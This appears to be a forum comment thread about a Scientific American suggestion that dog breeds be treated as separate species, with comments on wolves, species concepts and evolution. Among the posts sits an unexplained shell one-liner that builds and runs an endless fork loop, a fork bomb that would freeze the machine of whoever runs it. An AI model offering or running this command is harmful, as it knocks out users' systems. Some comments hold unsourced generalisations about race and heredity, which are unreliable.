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Should We Just Call Dog Breeds a Different Species?
Jamie found an amusing bit this morning on Scientific American where the author proposes that dog breeds are different species. Now some of you might recoil when you hear this suggestion, but if you read the article to see why he makes this suggestion I suspect you'll crack a smile and appreciate the elegance of the solution.
I just knew this article would include some comparison of Chihuahuas to some breed of large dog (in this case, Mastiffs). So I'm going to go ahead and make a similar comparison of a 600-pound caucasian female to a 110-pound asian male. The male may have just as much trouble with the process as does the Chihuahua, but we'll still call the result be a human. Similarly, we'll call the spawn of a Chihuahua and a Mastiff a dog. Because it looks like a dog and it barks.
Reminds of a day spent on a waterfront last year, when I observed that though pigeons and seagulls would frolic in the same stretch of promenade, they didn't seem to acknowledge the existence of the other species. When I said to my friend, "Do you think birds can be racist?", she just looked at me funny.
While I see what you're trying to say, you neglect to point out that dogs have a hierarchy just like any other social group. Yeah, it sucks and humans should be above that but it's there with the dogs you use as an example.
Birds are racist. Conure flocks will exclude similar animals whose only real difference is a different-colored head.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Social hierarchies in animals are just as dysfunctional as they are in humans. I saw some documentary where one of the younger dominant females kept taking food out of the mouth of one of the subordinates ones. It wasn't that she was particularly hungry because she got priority access to the best food. As far as anyone could tell she was doing because her status let her get away with it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What's even funnier is that dogs know wolves.
I'm lucky enough to volunteer at a wolf centre in southern England. At this time of year they're moulting like crazy and it's easy to pull of clumps of underfur from them.
The fun starts if you give some to a dog owner and ask them to show it to their dogs.
The last time I did that it made my friend's 4 dogs go nuts - one went very wide-eyed, another tried clambering over the guy to get it and the third begged for some. I've seen other reactions including frenzied barking and fear from other dogs.
So it seems that despite most dogs never getting to see a wolf (at least here in the UK, we shot our last wolf in the late 1700s), they still know full well what one is.
As an aside, dogs are amazingly different from wolves despite being 99.8% the same DNA wise. Only one season a year and permanent puppyhood - domestic dogs don't become adults, we've bred that out of them somehow. Wolves, on the other hand, change noticeably around 3 years of age. Dogs are also much, much better at picking up signals from people - and unlike wolves, they're always eager to please if bought up properly. A wolf'll only do something if it feels like it, or if it'll get something out of it!
And an amusing anecdote to finish - we used to take our wolves out to county shows, as they're socialied and enjoyed meeting people. One morning at the Kent show we let the wolves into their mobile enclosure and they watched intently as some Rottweilers came over, along with their (big-mouthed) owners. The blokes were going on about how their dogs could "have" our wolves easily, yet both dogs cowered away when Duma, one of our soppier wolves with people, casually gazed at them, raised her lip soundlessly, showing impressive fangs. Those Rottweilers knew better than to come any closer, much to the chagrin of their owners!
I've no proof whatsoever, but to me it seems to happen in humans. When I think of people I know, the ones with diverse ethnic backgrounds are invariably taller than either of their parents and very often good-looking. Presumably this is because something like height is coded for on many different parts of the genome. And so if your father's small because of recessive gene a, and your mother's small because of recessive gene z, and you get a dominant A from your mother and a dominant Z from your father, then that's two fewer genes putting a ceiling on your height.
Yes, I know this is trivialising an incredibly complicated issue, so hopefully somebody with more of a clue than me can weigh in with the knowledge here.
Of course this guy is just poking fun at creationists, but mislabelling dogs as species would really help. For that matter it wouldn't help if they really were separate species.
1) Dog breeds may be a recent thing but nobody say them evolve either - it happended over a time longer than a human lifetime. If you're of a mind to deny these things then "I didn't see it with my own eyes" argument applies just as well here. Maybe God created Chihuahas and Great Danes. I slighty smarter creationist might complain that the selection pressure on most breeds was artificial.
2) Much more to the point, there are genuine species all around us at every conceivable stage of speciation. Heading towards branching, during branching, immediately after branching, long after branching, etc.
The best answer to a creationist who says "if it's true, why don't we see it?" is to ask "what is it you'd expect to see that isn't in fact all around you right now?!!". Anyone expecting to see Tigers bifuracte into furbys and unicorns in their own lifetime isn't worth trying to argue with, but anyone who realizes the timescale of evolution should realize that's not the case. The length of a human lifetime is so ridiculously short compared to the evolutionary timescales that we're essentially looking at snapshot of a movie.
Think of it this way: earth is 4.5 x 10^9 years old. If you had a feature length 2 hr movie of the whole of earth's history shot at 60 frames per second, then the movie would have 432,000 frames, and each frame would still encompass over 10,000 years of history! (4.5 billion / 432,000). And yet these creationists are expecting to see a whole movie playing in their 100 year lifetime...
So, realizing that our brief lifetime has doomed us to only be observing a snapshot of anything happening on an evolutionary timescale, the real question isn't why arn't we seeing it happen (trivial answer: your lifetime is too short, but rather if this is the movie of evolution we're caught in a still frame of, then what would you expect to see in this still frame? The answer of course is that you'd expect to see species caught at every stage of branching/speciation, which is exactly what we do see.
1) Species accumulating genetic change, living in subpolulations, apparently heading for branching: too many to list, but including things like forest/plains elephants, dogs(!), humans (assuming the races don't in the future start interbreeding indiscriminately). Even things like lions/tigers can still interbreed so (whatever arbitrary labels you want to slap on them) are really pre-branch rather than post-branch, even if we understand the amount of interbreeding in the wild to be close to zero (although it does occur).
2) Species that are essentially at the point of branching right now. A classic example might be horses/donkeys, which can still kind of interbreed, but not quite (their offspring, a mule, is sterile). Given that branching is more of a process than event (it's something that happens to populations, not individuals) there are many more less spectacular examples - I'd probably include some of those (technically) pre-brancing examples in this class.
3) Species that are post-branch (can no longer interbreed, but are still genetically very close) : any species withing the same biological genus, familiy, etc. One's that branched more long ago are more genetically different corresponding to biological order, class, etc. For a specific example, how about oursellves and chimps still with 98% shared DNA and only a few million years after having branched from a common ancestor.
So the still frame we're living in sure fits the bill - we see everying around us that we'd expect to see if species are created by branching from each other. OTOH if the creationists are right, and species are created by God then the number of species that exist along every conceivable degree of genetic difference (as opposed to isolated individual creations) is rather embarassing!
Of course these discussions are endl
In fact you have it correctly; human brains are physically oriented towards sight while a dog's is oriented towards smell. They also have an organ for the detection of sex pheromones. Their ability to focus is less developed than ours, though they have far superior night vision. They have much less depth perception than humans due to the position of their eyes, but have much a much more directional sense of smell due to the design of their nose.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
TFA is laughably naÃve. They should be a different species? Oh, if only species were so cut and dry. People talk about species as if we're talking about the same thing, but the `distance` between polar bears and brown bears - considered different species - isn't as great as that between Reindeer and Caribou - considered the same species.
The dirty little secret of biology - and I'm going to get kicked out of the biologist club for this - is that we've got no ****ing clue what a species is. Oh, sure, we go around naming them all the time, but we don't actually know what we're doing yet. One list counts up to 23 different way to recognize species (known as species concepts). Some of these are mutually exclusive! The author seems to like the Reproductive isolation species concept. But under that concept, the mallard on the east coast is a different species from the mallard on the west coast. But when does the mallard cease to be east and west? What about all those ducks in between? While there's no doubt that the east coast and west coast are functionally isolated, the point at which that ceases to be is very hazy.
What about montane species? I'm thinking of Dall sheep, in particular. Geneflow (interbreeding) between sheep of non-ajoining mountain ranges is incredibly low, effectively zero. But I don't know anyone who'd make the argument that they're separate species.
So then maybe the author wants to argue that they're separate morphotypes, and should be species on that account. What about isopods, where they have a greater diversity of form within species. Let's face it, every dog looks vaguely dog-ish. The same can't be said for some isopods, or species of insects!
The truth is what is, and isn't, a species is currently nebulous, fuzzy, and wishy-washy. It may be that species, as an idea, don't exist. That wouldn't surprise me.
In any case, these groupings are more than skin deep; it is cultural similarities that tie them together more than the color of their skin, in many cases the culture being a preexisting condition through generations of gang hierarchy that extends from the streets to the prisons and vice-versa. Racial grouping in prisons is much more complex than simply being visually identified as a member of a race, though I'll grant the moot point that color is the most obvious indicator of the index of cultural, historical, and socio-economic similarities.
I think dogs are generally more relaxed than humans. I have a big dog and he would play with all sorts of dogs big and small. He would also, bless his heart, protect the smaller dogs if they were being attacked by a bigger dog. When he was younger my dog loved playing with puppies - he'd let them charge him and would sort of knock them over gently with his muzzle and then eventually he would (I kid you not) fall over and roll on his back and let them pile on and "win" the fight.
So he didn't have any problem with little guys, but there was this one little terrier on our morning walk that was very loud and aggressive. Normally my dog takes the attitude that these kind of yappy dogs are just insane and should be avoided. The terrier bit my dog a couple of different days - the second time on the end of the nose; his owner never had him on a leash or attempted to control him and seemed to think this was funny. This was stupid of both the owner and the dog - mine could have almost swallowed this thing in two bites - he could certainly have killed him with one bite. The third time the terrier tried it my dog just put his jaws around him and pushed him onto the ground and gave a gentle squeeze. The guy didn't think it was so funny anymore but his dog stopped being aggressive - guess he was smarter than his owner.
The tyrant will always find a pretext for his tyranny - Aesop